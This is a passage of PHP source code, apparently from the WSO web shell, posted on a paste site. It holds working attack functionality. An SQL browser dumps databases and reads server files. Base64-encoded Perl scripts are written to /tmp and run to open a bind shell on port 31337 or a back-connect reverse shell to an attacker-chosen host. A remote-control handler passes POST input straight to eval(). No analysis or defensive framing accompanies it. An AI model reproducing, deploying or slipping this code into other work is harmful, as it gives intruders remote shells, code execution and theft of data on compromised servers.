  1303. $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1304. $head = false;
  1305. } else
  1306. $sql = "\n\t,(".implode(", ", $item).')';
  1307. if($fp) fwrite($fp, $sql); else echo($sql);
  1308. }
  1309. if(!$head)
  1310. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1311. break;
  1312. case 'pgsql':
  1313. $this->query('SELECT * FROM '.$table);
  1314. while($item = $this->fetch()) {
  1315. $columns = array();
  1316. foreach($item as $k=>$v) {
  1317. $item[$k] = "'".addslashes($v)."'";
  1318. $columns[] = $k;
  1319. }
  1320. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1321. if($fp) fwrite($fp, $sql); else echo($sql);
  1322. }
  1323. break;
  1324. }
  1325. return false;
  1326. }
  1327. };
  1328. $db = new DbClass($_POST['type']);
  1329. if(@$_POST['p2']=='download') {
  1330. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1331. $db->selectdb($_POST['sql_base']);
  1332. switch($_POST['charset']) {
  1333. case "Windows-1251": $db->setCharset('cp1251'); break;
  1334. case "UTF-8": $db->setCharset('utf8'); break;
  1335. case "KOI8-R": $db->setCharset('koi8r'); break;
  1336. case "KOI8-U": $db->setCharset('koi8u'); break;
  1337. case "cp866": $db->setCharset('cp866'); break;
  1338. }
  1339. if(empty($_POST['file'])) {
  1340. ob_start("ob_gzhandler", 4096);
  1341. header("Content-Disposition: attachment; filename=dump.sql");
  1342. header("Content-Type: text/plain");
  1343. foreach($_POST['tbl'] as $v)
  1344. $db->dump($v);
  1345. exit;
  1346. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1347. foreach($_POST['tbl'] as $v)
  1348. $db->dump($v, $fp);
  1349. fclose($fp);
  1350. unset($_POST['p2']);
  1351. } else
  1352. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1353. }
  1354. wsoHeader();
  1355. echo "
  1356. <h1>Sql browser</h1><div class=content>
  1357. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1358. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1359. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1360. <td><select name='type'><option value='mysql' ";
  1361. if(@$_POST['type']=='mysql')echo 'selected';
  1362. echo ">MySql</option><option value='pgsql' ";
  1363. if(@$_POST['type']=='pgsql')echo 'selected';
  1364. echo ">PostgreSql</option></select></td>
  1365. <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  1366. <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
  1367. <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  1368. $tmp = "<input type=text name=sql_base value=''>";
  1369. if(isset($_POST['sql_host'])){
  1370. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1371. switch($_POST['charset']) {
  1372. case "Windows-1251": $db->setCharset('cp1251'); break;
  1373. case "UTF-8": $db->setCharset('utf8'); break;
  1374. case "KOI8-R": $db->setCharset('koi8r'); break;
  1375. case "KOI8-U": $db->setCharset('koi8u'); break;
  1376. case "cp866": $db->setCharset('cp866'); break;
  1377. }
  1378. $db->listDbs();
  1379. echo "<select name=sql_base><option value=''></option>";
  1380. while($item = $db->fetch()) {
  1381. list($key, $value) = each($item);
  1382. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1383. }
  1384. echo '</select>';
  1385. }
  1386. else echo $tmp;
  1387. }else
  1388. echo $tmp;
  1389. echo "</td>
  1390. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1391. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1392. </tr>
  1393. </table>
  1394. <script>
  1395. s_db='".@addslashes($_POST['sql_base'])."';
  1396. function fs(f) {
  1397. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1398. if(f.p1) f.p1.value='';
  1399. if(f.p2) f.p2.value='';
  1400. if(f.p3) f.p3.value='';
  1401. }
  1402. }
  1403. function st(t,l) {
  1404. d.sf.p1.value = 'select';
  1405. d.sf.p2.value = t;
  1406. if(l && d.sf.p3) d.sf.p3.value = l;
  1407. d.sf.submit();
  1408. }
  1409. function is() {
  1410. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1411. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1412. }
  1413. </script>";
  1414. if(isset($db) && $db->link){
  1415. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1416. if(!empty($_POST['sql_base'])){
  1417. $db->selectdb($_POST['sql_base']);
  1418. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1419. $tbls_res = $db->listTables();
  1420. while($item = $db->fetch($tbls_res)) {
  1421. list($key, $value) = each($item);
  1422. if(!empty($_POST['sql_count']))
  1423. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1424. $value = htmlspecialchars($value);
  1425. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1426. }
  1427. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1428. if(@$_POST['p1'] == 'select') {
  1429. $_POST['p1'] = 'query';
  1430. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1431. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1432. $num = $db->fetch();
  1433. $pages = ceil($num['n'] / 30);
  1434. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1435. echo " of $pages";
  1436. if($_POST['p3'] > 1)
  1437. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1438. if($_POST['p3'] < $pages)
  1439. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1440. $_POST['p3']--;
  1441. if($_POST['type']=='pgsql')
  1442. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1443. else
  1444. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1445. echo "<br><br>";
  1446. }
  1447. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1448. $db->query(@$_POST['p2']);
  1449. if($db->res !== false) {
  1450. $title = false;
  1451. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1452. $line = 1;
  1453. while($item = $db->fetch()) {
  1454. if(!$title) {
  1455. echo '<tr>';
  1456. foreach($item as $key => $value)
  1457. echo '<th>'.$key.'</th>';
  1458. reset($item);
  1459. $title=true;
  1460. echo '</tr><tr>';
  1461. $line = 2;
  1462. }
  1463. echo '<tr class="l'.$line.'">';
  1464. $line = $line==1?2:1;
  1465. foreach($item as $key => $value) {
  1466. if($value == null)
  1467. echo '<td><i>null</i></td>';
  1468. else
  1469. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1470. }
  1471. echo '</tr>';
  1472. }
  1473. echo '</table>';
  1474. } else {
  1475. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1476. }
  1477. }
  1478. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1479. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1480. echo htmlspecialchars($_POST['p2']);
  1481. echo "</textarea><br/><input type=submit value='Execute'>";
  1482. echo "</td></tr>";
  1483. }
  1484. echo "</table></form><br/>";
  1485. if($_POST['type']=='mysql') {
  1486. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1487. if($db->fetch())
  1488. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1489. }
  1490. if(@$_POST['p1'] == 'loadfile') {
  1491. $file = $db->loadFile($_POST['p2']);
  1492. echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1493. }
  1494. } else {
  1495. echo htmlspecialchars($db->error());
  1496. }
  1497. echo '</div>';
  1498. wsoFooter();
  1499. }
  1500. function actionNetwork() {
  1501. wsoHeader();
  1502. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1503. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1504. echo "<h1>Network tools</h1><div class=content>
  1505. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1506. <span>Bind port to /bin/sh [perl]</span><br/>
  1507. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1508. </form>
  1509. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1510. <span>Back-connect [perl]</span><br/>
  1511. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1512. </form><br>";
  1513. if(isset($_POST['p1'])) {
  1514. function cf($f,$t) {
  1515. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1516. if($w){
  1517. @fwrite($w,@base64_decode($t));
  1518. @fclose($w);
  1519. }
  1520. }
  1521. if($_POST['p1'] == 'bpp') {
  1522. cf("/tmp/bp.pl",$bind_port_p);
  1523. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1524. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1525. unlink("/tmp/bp.pl");
  1526. }
  1527. if($_POST['p1'] == 'bcp') {
  1528. cf("/tmp/bc.pl",$back_connect_p);
  1529. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1530. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1531. unlink("/tmp/bc.pl");
  1532. }
  1533. }
  1534. echo '</div>';
  1535. wsoFooter();
  1536. }
  1537. function actionRC() {
  1538. if(!@$_POST['p1']) {
  1539. $a = array(
  1540. "uname" => php_uname(),
  1541. "php_version" => phpversion(),
  1542. "wso_version" => WSO_VERSION,
  1543. "safemode" => @ini_get('safe_mode')
  1544. );
  1545. echo serialize($a);
  1546. } else {
  1547. eval($_POST['p1']);
  1548. }
  1549. }
  1550. if( empty($_POST['a']) )
  1551. if(isset($default_action) && function_exists('action' . $default_action))
  1552. $_POST['a'] = $default_action;
  1553. else
  1554. $_POST['a'] = 'SecInfo';
  1555. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1556. call_user_func('action' . $_POST['a']);
  1557. exit;
  1558. ?>
RAW Paste Data